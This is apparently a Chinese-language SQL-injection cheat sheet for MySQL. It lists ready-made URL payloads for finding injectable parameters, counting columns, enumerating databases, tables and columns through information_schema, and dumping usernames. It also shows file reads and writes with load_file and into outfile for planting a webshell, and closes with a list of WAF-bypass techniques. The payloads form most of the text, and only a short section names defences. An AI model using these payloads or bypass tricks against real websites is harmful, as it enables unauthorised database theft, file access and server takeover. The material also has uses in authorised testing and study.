判定有注入的原因
?id=1XXXX
XXXX随便输入,如果有报错则有注入,没有则没有注入
MySQL
version >5.0
- 判断字段数
?id=1 order by 1 --+
?id=1 order by 4 --+ 直到有报错,那么字段数就是此时数-1
- 判断回显点
?id=-1 union select 1,2,3,4 --+ 有几个字段写几个数字
- 在回显点查看其他信息
?id=-1 union select 1,version(),database(),4 --+
user() 获取当前用户用户
database() 获取当前数据库名
version() 获取数据库版本
@@version_compile_os 获取操作系统版本
–
增加一个查询所有数据库
?id=-1 union select 1,group_concat(schema_name) from information_schema.schemata
–
4. 通过数据库名在information_schema中查表名
?id=-1 union select 1,2,3,table_name from information_schema.tables limit 0,1 --+
0为可变值
不想用limit可以用下种方法
?id=-1 union select 1,2,3,group_concat(table_name) from information_schema.tables --+
- 通过数据库名在information_schema中查字段名
?id=-1 union select 1,2,3,column_name from information_schema.columns where table_name=表名 limit 0,1 --+
?id=-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=表名 limit 0,1 --+
- 通过知道表名和字段名,进行数据查询
?id=-1 union select 1,2,group_concat(username),4 from 表名
version <5.0
暴力查询 读取配合
sqlmap内存在表面,列名字典,进行爆破
跨库查询
- 高权限注入
- 低权限注入
mysql文件读写操作
(常见的load_file读取的配置文件自己搜索)
load_file();
into outfile 或者into dumpfile 写入函数
写入getshell
select load_file() ‘C:/1.txt’ --+ 读取文件
select ‘x’ into outfile c:/1.txt --+ 写入文件
如果写 \ 需要写两个,不然会被转义
mysql路径获取常见方法
- 报错显示
- 遗留文件 例如:phpinfo.php
- 漏洞报错 例如:xxxcms爆路径
- 爆破 目录扫描dirsearch
防御:
- 魔术引号(常见写入文件问题)
例如:PHP的magic_quotes_gpc服务开启单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)等字符都会被加上反斜线
- 内置函数 : is_int is_file 等(判断是否是int类型,判断是否为文件)
- 自定义关键字:select(例如$id = str_rereplace(‘select’,‘fuck’, $id) 将select替换成fuck)
- WAF防护:安全狗,宝塔
存在魔法引号可以编码或宽字节绕过
1、将路径进行编码 Hex
2、大小写
3、更改提交方法
4、注释符混用
5、等价函数替换(换一个同一意思的函数)
6、特殊符号混用(混用)
7、借助数据库特性(多种写法写)
8、HTTP参数污染
9、垃圾数据溢出(写长,写一万个,让它饱和,就不信还能匹配到)